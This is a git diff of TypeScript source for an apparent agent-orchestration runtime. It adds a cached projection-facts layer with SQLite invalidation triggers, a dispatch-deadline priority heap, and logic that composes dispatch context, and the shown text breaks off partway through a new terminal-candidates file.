diff --git a/src/main/runtime/orchestration/addressing/orchestration-fleet-agent-status-snapshot.ts b/src/main/runtime/orchestration/addressing/orchestration-fleet-agent-status-snapshot.ts
index 946aab137ce..8b04deb002d 100644
--- a/src/main/runtime/orchestration/addressing/orchestration-fleet-agent-status-snapshot.ts
+++ b/src/main/runtime/orchestration/addressing/orchestration-fleet-agent-status-snapshot.ts
@@ -1,3 +1,4 @@
+import { orchestrationProjectionFacts } from '../crew/orchestration-projection-facts'
 import type { TerminalIdentityReadContext } from '../../terminal/query/terminal-identity-read-context'
 import { conversationRecordReader } from './session-lineage/structured-session-lineage'
 import { getStructuredAgentSessionHost } from '../../../native-chat/agent-session-wire/host/structured-agent-session-registry'
@@ -39,17 +40,22 @@ export function readCapturedOrchestrationFleetAgentStatusSnapshot(
   dependencies: RuntimeAgentOrchestrationDependencies
 ): readonly FleetAgentStatusEvidence[] {
   const projection = new RuntimeAgentOrchestrationProjection(dependencies)
+  const raw = dependencies.getDb()
+  const sourceFacts = raw?.db ? orchestrationProjectionFacts(raw) : undefined
+  const db = sourceFacts?.view ?? raw
   let scope: ReturnType<typeof createOrchestrationProjectionScope> | undefined
   return readOrchestrationFleetAgentStatusSnapshot({
     ...source,
     getAgentStatusOrchestrationContextForPaneKey: (paneKey) => {
+      if (raw?.db && !sourceFacts) {
+        return undefined
+      }
       const handle = source.getAgentStatusTerminalHandleForPaneKey?.(paneKey)
       if (!handle) {
         return undefined
       }
-      const db = dependencies.getDb()
       scope ??= createOrchestrationProjectionScope(db, dependencies)
-      return projection.getForHandle(handle, db, { paneKey }, scope)
+      return projection.getForHandle(handle, db, { paneKey, deferAttention: true }, scope)
     }
   })
 }
diff --git a/src/main/runtime/orchestration/crew/crew-host-derivation.ts b/src/main/runtime/orchestration/crew/crew-host-derivation.ts
index a7e24cc5b20..e42c44f6d4c 100644
--- a/src/main/runtime/orchestration/crew/crew-host-derivation.ts
+++ b/src/main/runtime/orchestration/crew/crew-host-derivation.ts
@@ -9,12 +9,10 @@ import { readCrewAssignments, type CrewAssignmentRow } from './crew-query'
 import { createCrewSourceInputs } from './crew-source-inputs'
 import type { CrewReadDependencies } from './crew-read-dependencies'
 
-export function createCrewHostDerivation(
-  deps: CrewReadDependencies,
-  now: number,
-  capacity?: () => number
-) {
+export function createCrewHostDerivation(deps: CrewReadDependencies, capacity?: () => number) {
   const { statuses, ...sources } = captureCrewIdentityInputs(deps)
+  // Reading statuses can refresh the same source; capture its cutoff afterwards.
+  const now = deps.now ?? Date.now()
   const registry = createCrewPartyRegistry({ ...sources, statuses })
   const { alias } = registry
   const identity = deps.openIdentityRead?.()
diff --git a/src/main/runtime/orchestration/crew/crew-party-snapshot.ts b/src/main/runtime/orchestration/crew/crew-party-snapshot.ts
index 5138af1f54a..a29e6e4aaa2 100644
--- a/src/main/runtime/orchestration/crew/crew-party-snapshot.ts
+++ b/src/main/runtime/orchestration/crew/crew-party-snapshot.ts
@@ -39,7 +39,7 @@ function preview(body: string): string {
 export function buildCrewSnapshot(
   address: string,
   deps: CrewReadDependencies,
-  host = createCrewHostDerivation(deps, deps.now ?? Date.now())
+  host = createCrewHostDerivation(deps)
 ): OrchestrationCrewSnapshot {
   deps = { ...host.deps, now: deps.now }
   const db = deps.db
diff --git a/src/main/runtime/orchestration/crew/crew-read-model.ts b/src/main/runtime/orchestration/crew/crew-read-model.ts
index 34ca2b7a173..f861a2becb9 100644
--- a/src/main/runtime/orchestration/crew/crew-read-model.ts
+++ b/src/main/runtime/orchestration/crew/crew-read-model.ts
@@ -86,9 +86,7 @@ export class CrewReadModel {
         deps = { ...deps, records: previous.deps.records }
       }
       // A one-shot read has no watch to keep captured truth current.
-      const host = createCrewHostDerivation(deps, deps.now ?? now, () =>
-        Math.max(32, this.listeners.size * 2)
-      )
+      const host = createCrewHostDerivation(deps, () => Math.max(32, this.listeners.size * 2))
       if (this.listeners.size === 0) {
         return buildCrewSnapshot(address, { ...host.deps, now }, host)
       }
@@ -104,10 +102,8 @@ export class CrewReadModel {
         previous.registry.refreshRecordNames(deps.records, renamed)
         this.host = isDeepStrictEqual(identities(previous.deps.statuses), identities(statuses))
           ? refreshCrewStatuses(previous, statuses)
-          : createCrewHostDerivation(
-              { ...sources, records: previous.deps.records, statuses },
-              now,
-              () => Math.max(32, this.listeners.size * 2)
+          : createCrewHostDerivation({ ...sources, records: previous.deps.records, statuses }, () =>
+              Math.max(32, this.listeners.size * 2)
             )
       } else {
         this.host = previous
diff --git a/src/main/runtime/orchestration/crew/dispatch-presentation-deadlines.ts b/src/main/runtime/orchestration/crew/dispatch-presentation-deadlines.ts
new file mode 100644
index 00000000000..e8a7961419e
--- /dev/null
+++ b/src/main/runtime/orchestration/crew/dispatch-presentation-deadlines.ts
@@ -0,0 +1,13 @@
+import { DispatchPresentationPriority } from './dispatch-presentation-priority'
+
+/** One addressable deadline per eligible dispatch; removing its owner also removes its deadline. */
+export class DispatchPresentationDeadlines extends DispatchPresentationPriority {
+  *expired(now: number): Iterable<string> {
+    let next = this.peek()
+    while (next && next.priority < now) {
+      this.delete(next.id)
+      yield next.id
+      next = this.peek()
+    }
+  }
+}
diff --git a/src/main/runtime/orchestration/crew/dispatch-presentation-priority.ts b/src/main/runtime/orchestration/crew/dispatch-presentation-priority.ts
new file mode 100644
index 00000000000..009fc22302d
--- /dev/null
+++ b/src/main/runtime/orchestration/crew/dispatch-presentation-priority.ts
@@ -0,0 +1,79 @@
+/** Addressable dispatch priorities; arbitrary removal leaves no stale entries. */
+export class DispatchPresentationPriority {
+  private readonly positions = new Map<string, number>()
+  private readonly items: { id: string; priority: number }[] = []
+
+  set(id: string, priority: number): void {
+    this.delete(id)
+    this.items.push({ id, priority })
+    this.positions.set(id, this.items.length - 1)
+    this.up(this.items.length - 1)
+  }
+
+  delete(id: string): void {
+    const index = this.positions.get(id)
+    if (index === undefined) {
+      return
+    }
+    const last = this.items.pop()!
+    this.positions.delete(id)
+    if (index >= this.items.length) {
+      return
+    }
+    this.items[index] = last
+    this.positions.set(last.id, index)
+    const moved = this.up(index)
+    if (moved === index) {
+      this.down(index)
+    }
+  }
+
+  get size(): number {
+    return this.items.length
+  }
+
+  peek(): Readonly<{ id: string; priority: number }> | undefined {
+    return this.items[0]
+  }
+
+  clear(): void {
+    this.items.length = 0
+    this.positions.clear()
+  }
+
+  private swap(a: number, b: number): void {
+    const entry = this.items[a]
+    this.items[a] = this.items[b]
+    this.items[b] = entry
+    this.positions.set(this.items[a].id, a)
+    this.positions.set(this.items[b].id, b)
+  }
+
+  private up(index: number): number {
+    while (index > 0) {
+      const parent = (index - 1) >> 1
+      if (this.items[parent].priority <= this.items[index].priority) {
+        break
+      }
+      this.swap(index, parent)
+      index = parent
+    }
+    return index
+  }
+
+  private down(index: number): void {
+    for (;;) {
+      const left = index * 2 + 1
+      const right = left + 1
+      const child =
+        right < this.items.length && this.items[right].priority < this.items[left].priority
+          ? right
+          : left
+      if (child >= this.items.length || this.items[index].priority <= this.items[child].priority) {
+        return
+      }
+      this.swap(index, child)
+      index = child
+    }
+  }
+}
diff --git a/src/main/runtime/orchestration/crew/orchestration-dispatch-context.ts b/src/main/runtime/orchestration/crew/orchestration-dispatch-context.ts
new file mode 100644
index 00000000000..b16edee66b2
--- /dev/null
+++ b/src/main/runtime/orchestration/crew/orchestration-dispatch-context.ts
@@ -0,0 +1,140 @@
+import type { AgentStatusOrchestrationContext } from '../../../../shared/agent-status/contracts/agent-status-types'
+import { creatorFirstParent, crewTaskDisplay } from './crew-rules'
+import { parsePaneKey } from '../../../../shared/workspace-layout/stable-pane-id'
+import type { OrchestrationDb } from '../db/orchestration-db'
+import { buildWorkerAttentionContext } from '../workers/reports/worker-attention-context'
+import { worktreeIdsEqual } from '../../../../shared/worktree/id'
+import type { createOrchestrationProjectionScope } from './runtime-agent-orchestration-scope'
+import { currentRunCoordinatorOrcaSessionId } from '../db/runs/run-coordinator-orca-session'
+import type { DispatchContextRow } from '../db/orchestration-records'
+import type {
+  DispatchProjectionOptions,
+  RuntimeAgentOrchestrationDependencies
+} from './runtime-agent-orchestration-projection'
+
+export function composeOrchestrationDispatch(
+  deps: RuntimeAgentOrchestrationDependencies,
+  dispatch: DispatchContextRow,
+  handle: string,
+  db: OrchestrationDb | null,
+  options: DispatchProjectionOptions,
+  scope: ReturnType<typeof createOrchestrationProjectionScope>
+): AgentStatusOrchestrationContext {
+  const { paneKey, evidence, deferAttention = false } = options
+  const session = options.observeSession?.(dispatch)
+  const task = scope.task(dispatch.task_id, dispatch.run_id)
+  const display = crewTaskDisplay(task)
+  const owningRun =
+    task?.run_id && task.run_id === dispatch.run_id ? scope.run(dispatch.run_id) : undefined
+  const runCoordinatorHandle = owningRun?.coordinator_handle ?? undefined
+  const legacyActiveRun =
+    owningRun?.legacy === 1 && (dispatch.status === 'pending' || dispatch.status === 'dispatched')
+      ? db?.getActiveCoordinatorRun?.()
+      : undefined
+  const handleWorktreeId = legacyActiveRun ? deps.getWorktreeId(handle) : null
+  const coordinatorWorktreeId = legacyActiveRun
+    ? deps.getWorktreeId(legacyActiveRun.coordinator_handle)
+    : null
+  const scopedLegacyRun =
+    legacyActiveRun &&
+    handleWorktreeId &&
+    coordinatorWorktreeId &&
+    worktreeIdsEqual(coordinatorWorktreeId, handleWorktreeId)
+      ? legacyActiveRun
+      : undefined
+  const coordinatorHandle = runCoordinatorHandle ?? scopedLegacyRun?.coordinator_handle
+  const orchestrationRunId = owningRun?.legacy === 0 ? owningRun.id : scopedLegacyRun?.id
+  const creatorPaneKey = task?.created_by_pane_key
+  const creatorPaneHandle = creatorPaneKey ? deps.getHandleForPaneKey(creatorPaneKey) : null
+  const creatorAuthority = creatorPaneHandle ? deps.getDispatchAuthority(creatorPaneHandle) : null
+  const storedCreatorPane = creatorPaneKey ? parsePaneKey(creatorPaneKey) : null
+  const currentCreatorPane = creatorAuthority?.paneKey
+    ? parsePaneKey(creatorAuthority.paneKey)
+    : null
+  const sameCreatorPane = Boolean(
+    creatorPaneKey &&
+    creatorAuthority?.paneKey &&
+    (creatorPaneKey === creatorAuthority.paneKey ||
+      (storedCreatorPane &&
+        currentCreatorPane &&
+        storedCreatorPane.leafId === currentCreatorPane.leafId))
+  )
+  const paneRuns = creatorPaneKey ? scope.paneRuns(creatorPaneKey) : []
+  const paneRun = paneRuns.find((run) => run.id === owningRun?.id) ?? paneRuns[0]
+  const sameRunCreatorDispatch = Boolean(
+    task?.creator_dispatch_id &&
+    task.creator_dispatch_run_id === owningRun?.id &&
+    task.creator_dispatch_pane_key &&
+    task.creator_dispatch_process_incarnation === task.created_by_process_incarnation &&
+    parsePaneKey(task.creator_dispatch_pane_key)?.leafId === storedCreatorPane?.leafId
+  )
+  // Durable Run membership identifies the creator; live incarnation/handle checks only decide mutation authority.
+  const creatorLineageInRun = Boolean(
+    owningRun?.legacy === 0 &&
+    task?.created_by_run_generation === owningRun.consumer_generation &&
+    creatorPaneKey &&
+    (paneRun
+      ? paneRun.id === owningRun.id &&
+        paneRun.consumer_generation === task.created_by_run_generation
+      : sameRunCreatorDispatch)
+  )
+  const currentCreatorHandle =
+    creatorLineageInRun &&
+    task?.created_by_process_incarnation === creatorAuthority?.processIncarnation &&
+    sameCreatorPane
+      ? (creatorPaneHandle ?? undefined)
+      : undefined
+  const selfSession = dispatch.assignee_orca_session_id
+  const selfPane = selfSession ? scope.resolve(selfSession) : paneKey
+  const coordinatorSession =
+    owningRun?.legacy === 0 ? currentRunCoordinatorOrcaSessionId(owningRun) : null
+  // Why: a chat party nests by its visible row; its handle and minted pane key match no row.
+  const coordinator: { handle?: string; paneKey?: string } = coordinatorSession
+    ? { paneKey: scope.resolve(coordinatorSession) }
+    : scope.resolveTerminal(
+        coordinatorHandle,
+        owningRun?.legacy === 0 ? owningRun.coordinator_pane_key : null
+      )
+  const creatorSession =
+    dispatch.creator_orca_session_id && dispatch.creator_orca_session_id !== selfSession
+      ? dispatch.creator_orca_session_id
+      : null
+  const creator: { handle?: string; paneKey?: string } | undefined = creatorSession
+    ? { paneKey: scope.resolve(creatorSession) }
+    : currentCreatorHandle
+      ? scope.resolveTerminal(currentCreatorHandle, creatorAuthority?.paneKey ?? null)
+      : creatorLineageInRun
+        ? scope.resolveTerminal(creatorPaneHandle, creatorPaneKey ?? null)
+        : undefined
+  const coordinatorIsSelf =
+    coordinator.handle === handle ||
+    (coordinatorSession !== null && coordinatorSession === selfSession) ||
+    (paneKey !== undefined && coordinator.paneKey !== undefined && coordinator.paneKey === paneKey)
+  // Why: a creator whose pane is gone still has a coordinator to nest under.
+  const parent =
+    creatorFirstParent(
+      (creator?.handle || (creatorSession && creator?.paneKey)) &&
+        (!selfPane || creator?.paneKey !== selfPane) &&
+        creator?.handle !== handle
+        ? creator
+        : undefined,
+      coordinator,
+      coordinatorIsSelf || coordinator.paneKey === selfPane
+    ) ?? {}
+  const attention =
+    !deferAttention && db && typeof db.getWorkerAttentionFacts === 'function'
+      ? buildWorkerAttentionContext({ db, dispatch, task, evidence, session, now: scope.now })
+      : undefined
+  return {
+    taskId: dispatch.task_id,
+    dispatchId: dispatch.id,
+    dispatchStatus: dispatch.status,
+    ...(display.taskTitle ? { taskTitle: display.taskTitle } : {}),
+    ...(display.displayName ? { displayName: display.displayName } : {}),
+    ...(parent.handle ? { parentTerminalHandle: parent.handle } : {}),
+    ...(parent.paneKey ? { parentPaneKey: parent.paneKey } : {}),
+    ...(coordinator.handle ? { coordinatorHandle: coordinator.handle } : {}),
+    ...(orchestrationRunId ? { orchestrationRunId } : {}),
+    ...(attention ? { attention } : {})
+  }
+}
diff --git a/src/main/runtime/orchestration/crew/orchestration-projection-debt.ts b/src/main/runtime/orchestration/crew/orchestration-projection-debt.ts
new file mode 100644
index 00000000000..386a6e9aedd
--- /dev/null
+++ b/src/main/runtime/orchestration/crew/orchestration-projection-debt.ts
@@ -0,0 +1,37 @@
+import type { OrchestrationDb } from '../db/orchestration-db'
+
+const state = 'orchestration_projection_state'
+const dirty = 'orchestration_projection_dirty'
+const MIN_CANDIDATE_CAPACITY = 64
+
+export const projectionDebtSchema = `CREATE TEMP TABLE IF NOT EXISTS ${state}(
+  id INTEGER PRIMARY KEY CHECK(id = 1), queued INTEGER NOT NULL,
+  capacity INTEGER NOT NULL, rebuild INTEGER NOT NULL);
+  INSERT OR IGNORE INTO ${state} VALUES(1, 0, ${MIN_CANDIDATE_CAPACITY}, 0);`
+
+export function markProjectionCandidate(row: string): string {
+  return `INSERT OR IGNORE INTO ${dirty}(key)
+    SELECT 'candidate:' || ${row}.id FROM ${state} WHERE id = 1 AND rebuild = 0;
+    UPDATE ${state} SET queued = queued + changes(),
+      rebuild = (queued + changes() > capacity) WHERE id = 1 AND rebuild = 0;`
+}
+
+export function projectionNeedsRebuild(db: OrchestrationDb): boolean {
+  return db.db.prepare(`SELECT rebuild FROM temp.${state} WHERE id = 1`).get()?.rebuild === 1
+}
+
+/** Retire debt only after current source facts have loaded successfully. */
+export function acknowledgeProjectionDebt(db: OrchestrationDb, candidates: number): void {
+  db.db.exec('SAVEPOINT orchestration_projection_ack')
+  try {
+    db.db.prepare(`DELETE FROM temp.${dirty}`).run()
+    db.db
+      .prepare(`UPDATE temp.${state} SET queued = 0, rebuild = 0, capacity = ? WHERE id = 1`)
+      .run(Math.max(MIN_CANDIDATE_CAPACITY, candidates))
+    db.db.exec('RELEASE orchestration_projection_ack')
+  } catch (error) {
+    db.db.exec('ROLLBACK TO orchestration_projection_ack')
+    db.db.exec('RELEASE orchestration_projection_ack')
+    throw error
+  }
+}
diff --git a/src/main/runtime/orchestration/crew/orchestration-projection-facts.ts b/src/main/runtime/orchestration/crew/orchestration-projection-facts.ts
new file mode 100644
index 00000000000..14b2d857666
--- /dev/null
+++ b/src/main/runtime/orchestration/crew/orchestration-projection-facts.ts
@@ -0,0 +1,294 @@
+import type { OrchestrationDb } from '../db/orchestration-db'
+import { paneKeyMatchSuffix } from '../db/pane-key-match'
+import {
+  readWorkerAttentionInputs,
+  projectWorkerAttentionInput
+} from '../db/worker-terminal/worker-terminal-attention-query'
+import {
+  installProjectionInvalidations,
+  projectionDirtyKeys,
+  trackProjectionKey
+} from './orchestration-projection-invalidations'
+import { projectionNeedsRebuild, acknowledgeProjectionDebt } from './orchestration-projection-debt'
+import { PresentationDispatchIndex } from './presentation-dispatch-index'
+import { withPresentationCompletionSource } from '../db/dispatch-context/presentation-completion-source'
+type Fact = { value: unknown; dependencies: readonly string[]; owners: Set<string> }
+const sources = new WeakMap<OrchestrationDb, OrchestrationProjectionFacts>()
+const views = new WeakMap<OrchestrationDb, OrchestrationProjectionFacts>()
+
+/** The connection owns persisted facts; every presentation still reads live identities and time. */
+export class OrchestrationProjectionFacts {
+  readonly view: OrchestrationDb
+  private readonly candidates: PresentationDispatchIndex
+  private readonly facts = new Map<string, Fact>()
+  private readonly dependencies = new Map<string, Set<string>>()
+  private readonly owned = new Map<string, Set<string>>()
+  private owner: string | undefined
+  private version: unknown
+  private revision: number | undefined
+  private cold = true
+  private previousNow = -Infinity
+
+  constructor(
+    private readonly db: OrchestrationDb,
+    private readonly transient = false
+  ) {
+    this.candidates = new PresentationDispatchIndex(
+      db,
+      (owner, key, dependencies, read) =>
+        this.withDispatch(owner, () => this.memo(key, dependencies, read)),
+      (id) => this.release(id)
+    )
+    if (!transient) {
+      installProjectionInvalidations(db)
+    }
+    // This facade is used only by projection readers; mutations and admission retain the real DB.
+    this.view = Object.create(db, {
+      getActiveDispatchForTerminal: {
+        value: (handle: string, pane?: string) => this.candidates.activeFor(handle, pane)
+      },
+      getLatestDispatchForTerminal: { value: (handle: string) => this.candidates.latest(handle) },
+      getTask: {
+        value: (id: string, run?: string) =>
+          this.memo(
+            `task:${id}:${run ?? ''}`,
+            [`task:${id}`],
+            () => (run === undefined ? db.getTask(id) : db.getTask(id, run)),
+            (task) =>
+              task?.created_by_terminal_handle ? [`handle:${task.created_by_terminal_handle}`] : []
+          )
+      },
+      getRun: { value: (id: string) => this.memo(`run:${id}`, [`run:${id}`], () => db.getRun(id)) },
+      runsBoundToPane: {
+        value: (pane: string) =>
+          this.memo(`bound:${pane}`, [`bound:${paneKeyMatchSuffix(pane)}`], () =>
+            db.runsBoundToPane(pane)
+          )
+      },
+      getActiveCoordinatorRun: {
+        value: () => this.memo('legacy', ['legacy'], () => db.getActiveCoordinatorRun())
+      },
+      getWorkerTerminalResourceByHandle: {
+        value: (handle: string) =>
+          this.memo(`resource-handle:${handle}`, [`resource-handle:${handle}`], () =>
+            db.getWorkerTerminalResourceByHandle(handle)
+          )
+      },
+      getWorkerTerminalResourceByProcessIncarnation: {
+        value: (process: string) =>
+          this.memo(`resource-process:${process}`, [`resource-process:${process}`], () =>
+            db.getWorkerTerminalResourceByProcessIncarnation(process)
+          )
+      },
+      hasRecordedStructuredWorkerSession: {
+        value: (session: string, process: string) =>
+          this.memo(`recorded:${session}:${process}`, [`session:${session}`], () =>
+            db.hasRecordedStructuredWorkerSession(session, process)
+          )
+      },
+      getWorkerAttentionFactsForDispatches: {
+        value: (ids: readonly string[], now: number) => this.attention(ids, now)
+      },
+      getWorkerAttentionFacts: {
+        value: (id: string, now: number) => {
+          const result = this.attention([id], now).get(id)
+          if (!result) {
+            throw new Error(`Dispatch ${id} was not found.`)
+          }
+          return result
+        }
+      },
+      listSessionDispatchesForPresentation: {
+        value: (now: number, sessions?: readonly string[]) =>
+          this.candidates.sessions(now, sessions)
+      }
+    })
+    views.set(this.view, this)
+  }
+
+  refresh(now: number): void {
+    try {
+      withPresentationCompletionSource(this.db.db, now, ({ version, revision }) => {
+        const overflow = !this.transient && projectionNeedsRebuild(this.db)
+        const cold =
+          this.cold ||
+          version !== this.version ||
+          revision !== this.revision ||
+          now < this.previousNow ||
+          overflow
+        if (cold) {
+          this.reset()
+        }
+        const previousSize = this.candidates.size
+        const dirty = this.transient || cold ? [] : projectionDirtyKeys(this.db)
+        const affected = new Set<string>()
+        for (const key of dirty) {
+          for (const factKey of this.dependencies.get(key) ?? []) {
+            for (const owner of this.facts.get(factKey)?.owners ?? []) {
+              affected.add(owner)
+            }
+          }
+        }
+        for (const owner of affected) {
+          this.release(owner)
+        }
+        this.candidates.refresh(now, dirty, cold)
+        if (
+          !this.transient &&
+          (cold || dirty.length > 0 || this.candidates.size !== previousSize)
+        ) {
+          acknowledgeProjectionDebt(this.db, this.candidates.size)
+        }
+        this.cold = false
+        this.version = version
+        this.revision = revision
+        this.previousNow = now
+      })
+    } catch (error) {
+      // A retry discards partial indexes before consuming the still-unacknowledged obligation.
+      this.cold = true
+      throw error
+    }
+  }
+
+  rows(): ReturnType<PresentationDispatchIndex['rows']> {
+    return this.candidates.rows()
+  }
+
+  withDispatch<T>(id: string, read: () => T): T {
+    const previous = this.owner
+    this.owner = id
+    try {
+      return read()
+    } finally {
+      this.owner = previous
+    }
+  }
+
+  private attention(ids: readonly string[], now: number) {
+    const missing = ids.filter((id) => !this.facts.has(`attention:${id}`))
+    if (missing.length) {
+      for (const [id, input] of readWorkerAttentionInputs(this.db, missing)) {
+        this.withDispatch(id, () =>
+          this.memo(`attention:${id}`, [`dispatch:${id}`, `task:${input.row.task_id}`], () => input)
+        )
+      }
+    }
+    return new Map(
+      ids.flatMap((id) => {
+        const fact = this.facts.get(`attention:${id}`)
+        return fact
+          ? [
+              [
+                id,
+                projectWorkerAttentionInput(
+                  // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: attention entries are populated only from readWorkerAttentionInputs above.
+                  fact.value as Parameters<typeof projectWorkerAttentionInput>[0],
+                  now
+                )
+              ] as const
+            ]
+          : []
+      })
+    )
+  }
+
+  private memo<T>(
+    key: string,
+    dependencies: readonly string[],
+    read: () => T,
+    valueDependencies?: (value: T) => readonly string[]
+  ): T {
+    let fact = this.facts.get(key)
+    if (!this.owner || !this.candidates.has(this.owner)) {
+      return read()
+    }
+    if (!fact) {
+      const value = read()
+      dependencies = [...dependencies, ...(valueDependencies?.(value) ?? [])]
+      fact = { value, dependencies, owners: new Set() }
+      this.facts.set(key, fact)
+      for (const dependency of dependencies) {
+        const keys = this.dependencies.get(dependency) ?? new Set()
+        if (keys.size === 0 && !this.transient) {
+          trackProjectionKey(this.db, dependency, true)
+        }
+        keys.add(key)
+        this.dependencies.set(dependency, keys)
+      }
+    }
+    fact.owners.add(this.owner)
+    const keys = this.owned.get(this.owner) ?? new Set()
+    keys.add(key)
+    this.owned.set(this.owner, keys)
+    // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: each concrete domain key is written by one typed read function.
+    return fact.value as T
+  }
+
+  private forget(key: string): void {
+    const fact = this.facts.get(key)
+    if (!fact) {
+      return
+    }
+    for (const owner of fact.owners) {
+      this.owned.get(owner)?.delete(key)
+    }
+    for (const dependency of fact.dependencies) {
+      const keys = this.dependencies.get(dependency)
+      keys?.delete(key)
+      if (keys?.size === 0) {
+        this.dependencies.delete(dependency)
+        if (!this.transient) {
+          trackProjectionKey(this.db, dependency, false)
+        }
+      }
+    }
+    this.facts.delete(key)
+  }
+
+  private release(id: string): void {
+    for (const key of this.owned.get(id) ?? []) {
+      const fact = this.facts.get(key)
+      fact?.owners.delete(id)
+      if (fact?.owners.size === 0) {
+        this.forget(key)
+      }
+    }
+    this.owned.delete(id)
+  }
+
+  private reset(): void {
+    if (!this.transient) {
+      // Rollback can restore SQL memberships after a failed refresh cleared the JS owners.
+      this.db.db.prepare('DELETE FROM temp.orchestration_projection_tracked').run()
+    }
+    this.facts.clear()
+    this.dependencies.clear()
+    this.candidates.clear()
+    this.owned.clear()
+    this.cold = true
+  }
+}
+
+export function orchestrationProjectionFacts(
+  db: OrchestrationDb,
+  now = Date.now()
+): OrchestrationProjectionFacts | undefined {
+  const view = views.get(db)
+  if (view) {
+    return view
+  }
+  let source = db.db.isTransaction ? undefined : sources.get(db)
+  if (!source) {
+    // An uncached probe also sees raw/local and external inserts after an empty read.
+    if (!db.db.prepare('SELECT 1 FROM dispatch_contexts LIMIT 1').get()) {
+      return undefined
+    }
+    source = new OrchestrationProjectionFacts(db, db.db.isTransaction)
+    if (!db.db.isTransaction) {
+      sources.set(db, source)
+    }
+  }
+  source.refresh(now)
+  return source
+}
diff --git a/src/main/runtime/orchestration/crew/orchestration-projection-invalidations.ts b/src/main/runtime/orchestration/crew/orchestration-projection-invalidations.ts
new file mode 100644
index 00000000000..8a103db760e
--- /dev/null
+++ b/src/main/runtime/orchestration/crew/orchestration-projection-invalidations.ts
@@ -0,0 +1,85 @@
+import type { OrchestrationDb } from '../db/orchestration-db'
+import { projectionDebtSchema, markProjectionCandidate } from './orchestration-projection-debt'
+import { projectionMutationTriggers } from '../db/projection-mutation-triggers'
+
+const table = 'orchestration_projection'
+const pane = (value: string) => `substr(${value}, instr(${value}, ':') + 1)`
+const tracked = (key: string) => `INSERT OR IGNORE INTO ${table}_dirty(key)
+ SELECT ${key} WHERE ${key} IS NOT NULL AND EXISTS (SELECT 1 FROM ${table}_tracked WHERE key = ${key});`
+
+export function installProjectionInvalidations(db: OrchestrationDb): void {
+  const specifications = [
+    {
+      table: 'dispatch_contexts',
+      mark: (r: string) =>
+        `${markProjectionCandidate(r)}${[
+          `'dispatch:' || ${r}.id`,
+          `'task:' || ${r}.task_id`,
+          `'handle:' || ${r}.assignee_handle`,
+          `'session:' || ${r}.assignee_orca_session_id`
+        ]
+          .map(tracked)
+          .join(' ')}`
+    },
+    { table: 'tasks', mark: (r: string) => tracked(`'task:' || ${r}.id`) },
+    {
+      table: 'runs',
+      mark: (r: string) =>
+        [
+          tracked(`'run:' || ${r}.id`),
+          tracked(`'bound:' || ${pane(`${r}.coordinator_pane_key`)}`)
+        ].join(' ')
+    },
+    { table: 'coordinator_runs', mark: () => tracked("'legacy'") },
+    {
+      table: 'worker_dispatches',
+      mark: (r: string) =>
+        tracked(`'dispatch:' || ${r}.dispatch_id`) +
+        tracked(`'task:' || (SELECT task_id FROM dispatch_contexts WHERE id = ${r}.dispatch_id)`)
+    },
+    {
+      table: 'attempt_observation_facts',
+      mark: (r: string) => tracked(`'dispatch:' || ${r}.dispatch_id`)
+    },
+    { table: 'question_threads', mark: (r: string) => tracked(`'dispatch:' || ${r}.dispatch_id`) },
+    { table: 'decision_gates', mark: (r: string) => tracked(`'task:' || ${r}.task_id`) },
+    {
+      table: 'worker_terminal_resources',
+      mark: (r: string) =>
+        ['owner_dispatch_id', 'origin_dispatch_id']
+          .map((key) => tracked(`'dispatch:' || ${r}.${key}`))
+          .join(' ') +
+        tracked(`'resource-handle:' || ${r}.terminal_handle`) +
+        tracked(`'resource-process:' || ${r}.process_incarnation`)
+    },
+    {
+      table: 'messages',
+      columns: 'run_id, to_handle, read, delivery_contract, type',
+      mark: (r: string) => `INSERT OR IGNORE INTO ${table}_dirty(key)
+ SELECT 'dispatch:' || substr(${r}.to_handle, 10)
+ WHERE ${r}.type <> 'heartbeat' AND substr(${r}.to_handle, 1, 9) = 'dispatch:'
+ AND EXISTS (SELECT 1 FROM ${table}_tracked WHERE key = 'dispatch:' || substr(${r}.to_handle, 10));`
+    }
+  ]
+  db.db.exec(`CREATE TEMP TABLE IF NOT EXISTS ${table}_tracked(key TEXT PRIMARY KEY) WITHOUT ROWID;
+    CREATE TEMP TABLE IF NOT EXISTS ${table}_dirty(key TEXT PRIMARY KEY) WITHOUT ROWID;
+    ${projectionDebtSchema}
+    ${projectionMutationTriggers(table, specifications)}`)
+}
+
+export function projectionDirtyKeys(db: OrchestrationDb): string[] {
+  return db.db
+    .prepare(`SELECT key FROM temp.${table}_dirty`)
+    .all()
+    .flatMap((row) => (typeof row.key === 'string' ? [row.key] : []))
+}
+
+export function trackProjectionKey(db: OrchestrationDb, key: string, retained: boolean): void {
+  db.db
+    .prepare(
+      retained
+        ? `INSERT OR IGNORE INTO temp.${table}_tracked VALUES (?)`
+        : `DELETE FROM temp.${table}_tracked WHERE key = ?`
+    )
+    .run(key)
+}
diff --git a/src/main/runtime/orchestration/crew/orchestration-terminal-candidates.ts b/src/main/runtime/orchestration/crew/orchestration-terminal-candidates.ts
new file mode 100644
index 00000000000..ad90ea1da65
--- /dev/null
+++ b/src/main/runtime/orchestration/crew/orchestration-terminal-candidates.ts
@@ -0,0 +1,114 @@
+import { parsePaneKey } from '../../../../shared/workspace-layout/stable-pane-id'
+import type {
+  RuntimeLeafRecord,
+  RuntimePtyWorktreeRecord
+} from '../../terminal/records/runtime-terminal-state-records'
+import type { PtyPaneOf } from '../../terminal/surface/pty-pane-query'
+
+/** One capture returns an unchanged, complete array per stable leaf or exact legacy pane. */
+export type OrchestrationTerminalCandidates = (pane: string) => readonly {
+  paneKey: string
+  handles: Iterable<string>
+}[]
+
+/** One read scope, retaining source order without choosing a terminal from dispatch insertion order. */
+export function captureOrchestrationTerminalCandidates(source: {
+  leaves: ReadonlyMap<string, RuntimeLeafRecord>
+  ptys: ReadonlyMap<string, RuntimePtyWorktreeRecord>
+  leafKey(tab: string, leaf: string): string
+  leavesForId(id: string): Iterable<string>
+  ptysForPane?: (pane: string) => Iterable<string>
+  capturePaneOf(): PtyPaneOf
+  paneOf?: PtyPaneOf
+  makePaneKey(leaf: RuntimeLeafRecord): string
+  issueLeaf(leaf: RuntimeLeafRecord): string
+  issuePty(pty: RuntimePtyWorktreeRecord): string
+}): OrchestrationTerminalCandidates {
+  let captured:
+    | { panes: Map<string, string[]>; leaves: Map<string, string[]>; read: PtyPaneOf }
+    | undefined
+  const ptysFor = (pane: string): Iterable<string> => {
+    if (source.ptysForPane) {
+      return source.ptysForPane(pane)
+    }
+    if (!captured) {
+      captured = { panes: new Map(), leaves: new Map(), read: source.capturePaneOf() }
